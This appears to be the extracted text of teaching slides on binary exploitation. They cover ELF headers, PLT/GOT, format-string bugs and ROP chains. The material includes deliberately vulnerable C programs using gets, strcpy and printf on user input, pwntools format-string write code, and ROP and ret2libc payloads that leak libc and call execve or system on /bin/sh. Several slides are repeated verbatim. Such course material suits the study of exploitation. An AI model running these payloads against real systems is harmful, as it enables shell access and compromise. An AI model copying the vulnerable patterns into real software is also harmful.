Exploitation Review and ROP Chain
ELF Header
#define EI_NIDENT 16
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shtrndx;
} Elf32_Ehdr;
$ readelf -h a.out ###Output modified slightly
Magic: 7f 45 4c 46 \x7fELF
Class: ELF32
Data: little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048430
Start of program headers: 52
Start of section headers: 8588
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 35
Section header string table index: 34
e_ -- elf
ph -- program header
sh -- section header
off -- offset
ent -- entry
e_shentsize ?
e_shnum ?
e_phentsize ?
e_shtrndx ?*
Section Header Entry Size
Section Header Number (of entries)
Program Header Entry Size
Section Header String Table Index
### modified output
[Nr] Name Type
[ 0] NULL
[ 1] .interp PROGBITS
[ 2] .note.ABI-tag NOTE
[ 3] .note.gnu.build-i NOTE
[ 4] .gnu.hash GNU_HASH
[ 5] .dynsym DYNSYM
[ 6] .dynstr STRTAB
[ 7] .gnu.version VERSYM
[ 8] .gnu.version_r VERNEED
[ 9] .rela.dyn RELA
[10] .rela.plt RELA
[11] .init PROGBITS
[12] .plt PROGBITS
[13] .plt.got PROGBITS
[14] .text PROGBITS
[15] .fini PROGBITS
[16] .rodata PROGBITS
[17] .eh_frame_hdr PROGBITS
[18] .eh_frame PROGBITS
[19] .init_array INIT_ARRAY
[20] .fini_array FINI_ARRAY
[21] .data.rel.ro PROGBITS
[22] .dynamic DYNAMIC
[23] .got PROGBITS
[24] .data PROGBITS
[25] .bss NOBITS
[26] .gnu_debuglink PROGBITS
[27] .shstrtab STRTAB
Examples: .text, .got, .data
Run the command readelf -S /bin/bash
How do multiple source files become a single executable?
ELF file formats:
ELF Header specifies the file format
+ Executable: specifies how to load the program into a process image (remember exec and forking?)
+ Relocatable: specifies how to include it's own code and data into an Executable or Shared object. Object files waiting to be included.
+ Shared Object: Dynamic library that links with an executable on load by a linker. Think printf, Libc, stdio.h
How do multiple source files become a single executable?
ELF file formats:
Linker links objects with shared libraries.
What does the whole pipeline look like then?
1. GCC compiles into ELF Relocatables
2. Static linker links Relocatables and attaches necessary information for Shared Object linking into an Executable
3. Loader execs the Executable, then the dynamic linker actually links to the Shared Objects for code execution.
Reference: https://bottomupcs.sourceforge.net/csbu/x3882.htm
The term "libc" is commonly used as a shorthand for the "standard C library", a library of standard functions that can be used by all C programs (and sometimes by programs in other languages).
-wikipedia
What is happening when we use printf in our binaries?
What is happening when we use printf in our binaries?
Ensure that we have the proper #include to reference printf in our code
- We lookup printf in the PLT. If it is not found in the PLT, we find it in
the GOT
- The GOT has the absolute memory address of the code. The PLT
delays the cost of looking it up until necessary.
- We do this to save memory.
How does text make it to the screen?
How does text make it to the screen?
printf, malloc, read, write, etc. are all wrappers for
system calls.
System calls are the process' way of asking for
permission to do something with a resource.
printf(user_input);
#include <stdio.h>
#include <unistd.h>
int main() {
int secret_num = 0x8badf00d;
char name[64] = {0};
read(0, name, 64);
printf("Hello ");
printf(name);
printf("! You'll never get my secret!\n");
return 0;
}
#include <stdio.h>
#include <unistd.h>
int main() {
int secret_num = 0x8badf00d;
char name[64] = {0};
read(0, name, 64);
printf("Hello ");
printf(name);
printf("! You'll never get my secret!\n");
return 0;
}
$ ./fmt_string
Enter Input: %7$llx
Hello 8badf00d3ea43eef
! You'll never get my secret!
p = process('./vulnerable')
# Function called in order to send a payload
def send_payload(payload):
log.info("payload = %s" % repr(payload))
p.sendline(payload)
return p.recv()
# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
int some_function()
{
char buff[128];
gets(buff);
printf("%s\n", buffer);
return 0;
}
int some_function()
{
char buff[128];
gets(buff);
printf("%s\n", buffer);
return 0;
}
pop rdi; ret
void rop1()
{
printf("1\n");
}
void rop2()
{
printf("2\n");
}
void rop3()
{
printf("3\n");
}
void vuln(char *str)
{
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char** argv)
{
vuln(argv[1]);
}
payload = b"\x90"*108 + rop1_addr + rop2_addr + rop3_addr
output:
1
2
3
[*] rop2 Chain dump:
0x0000: 0x7f34ab6b15 pop rdx; pop r12; ret
0x0008: 0x0 [arg2] rdx = 0
0x0010: b'eaaafaaa' <pad r12>
0x0018: 0x7f349c1ccd pop rsi; ret
0x0020: 0x0 [arg1] rsi = 0
0x0028: 0x4013a3 pop rdi; ret
0x0030: 0x7f34b51d4e [arg0] rdi = 546345131342
0x0038: 0x7f34a80a94 execve
[*] rop2 Chain dump:
0x0000: 0x7f34ab6b15 pop rdx; pop r12; ret
0x0008: 0x0 [arg2] rdx = 0
0x0010: b'eaaafaaa' <pad r12>
0x0018: 0x7f349c1ccd pop rsi; ret
0x0020: 0x0 [arg1] rsi = 0
0x0028: 0x4013a3 pop rdi; ret
0x0030: 0x7f34b51d4e [arg0] rdi = 546345131342
0x0038: 0x7f34a80a94 execve
ROPGadget
https://github.com/JonathanSalwan/ROPgadget
Ropper
https://github.com/sashs/Ropper
[*] rop2 Chain dump:
0x0000: 0x7f34ab6b15 pop rdx; pop r12; ret
0x0008: 0x0 [arg2] rdx = 0
0x0010: b'eaaafaaa' <pad r12>
0x0018: 0x7f349c1ccd pop rsi; ret
0x0020: 0x0 [arg1] rsi = 0
0x0028: 0x4013a3 pop rdi; ret
0x0030: 0x7f34b51d4e [arg0] rdi = 546345131342
0x0038: 0x7f34a80a94 execve
#Construct a ROP to leak libc
rop = ROP(exe)
rop.puts(exe.got['puts'])
rop.call(exe.symbols['main'])
Although these are common, you don't have to use just use these. Can search for any combination of instructions.
#Construct a ROP to leak libc
rop = ROP(exe)
rop.puts(exe.got['puts'])
rop.call(exe.symbols['main'])
Needed for ret2libc! (homework)
pop rdi; ret
You do that right now! Use ropper/ROPGadget to find them.
# pwntools example
rop = ROP([binary, libc])
binsh = next(libc.search(b"/bin/sh"))
rop.execve(binsh, 0, 0)
rop.dump()
'''output
[*] rop Chain dump:
0x0000: 0x7f69246a85 pop rdx; pop r12; ret
0x0008: 0x0 [arg2] rdx = 0
0x0010: b'eaaafaaa' <pad r12>
0x0018: 0x7f69153673 pop rsi; ret
0x0020: 0x0 [arg1] rsi = 0
0x0028: 0x4013a3 pop rdi; ret
0x0030: 0x7f692e1c11 [arg0] rdi = 547225476113
0x0038: 0x7f692107c4 execve
'''
payload = padding + rop.chain()
### without pwntools gadget finder
# These addresses you need to figure
# out from within the binary
libc_base = 0x12345678
POP_RDI = pop_rdi_addr
system = libc_base + offset_system_addr
binsh = libc_base + offset_binsh_addr
payload = padding
payload += p64(POP_RDI)
payload += p64(binsh)
payload += p64(system)
payload += p64(whatever_you_want_to_ret_to)
int vuln()
{
char buffer[128];
gets(buffer);
printf("%s\n", buffer);
}
We need a place to receive input
payload = padding
payload += addr_of_poprdi_ret
payload += addr_of_func_got
payload += addr_of_func_plt
payload += ret_to_beggining_of_vuln
# pwntools automated
rop = ROP(exe)
rop.puts(exe.got['puts'])
rop.call(exe.symbols['main'])
rop.dump()
'''
[*] Rop1 chain dump:
0x0000: 0x4013a3 pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x4010c4 puts
0x0018: 0x401316 0x401316()
'''
int vuln()
{
char buffer[128];
gets(buffer);
printf("%s\n", buffer);
}
We need a place to receive input
payload = padding
payload += addr_of_poprdi_ret
payload += addr_of_func_got
payload += addr_of_func_plt
payload += ret_to_beggining_of_vuln
# pwntools automated
rop = ROP(exe)
rop.puts(exe.got['puts'])
rop.call(exe.symbols['main'])
rop.dump()
'''
[*] Rop1 chain dump:
0x0000: 0x4013a3 pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x4010c4 puts
0x0018: 0x401316 0x401316()
'''
libc = ELF("/path/to/libc.so.6")
io.sendline(payload)
addr = io.recvline()
#parse the address received
addr = addr.strip()
leak = u64(addr.ljust(8, b"\x00"))
libc.address = leak-libc.symbols["puts"]
log.info("libc base address = 0x{}".format(libc.address))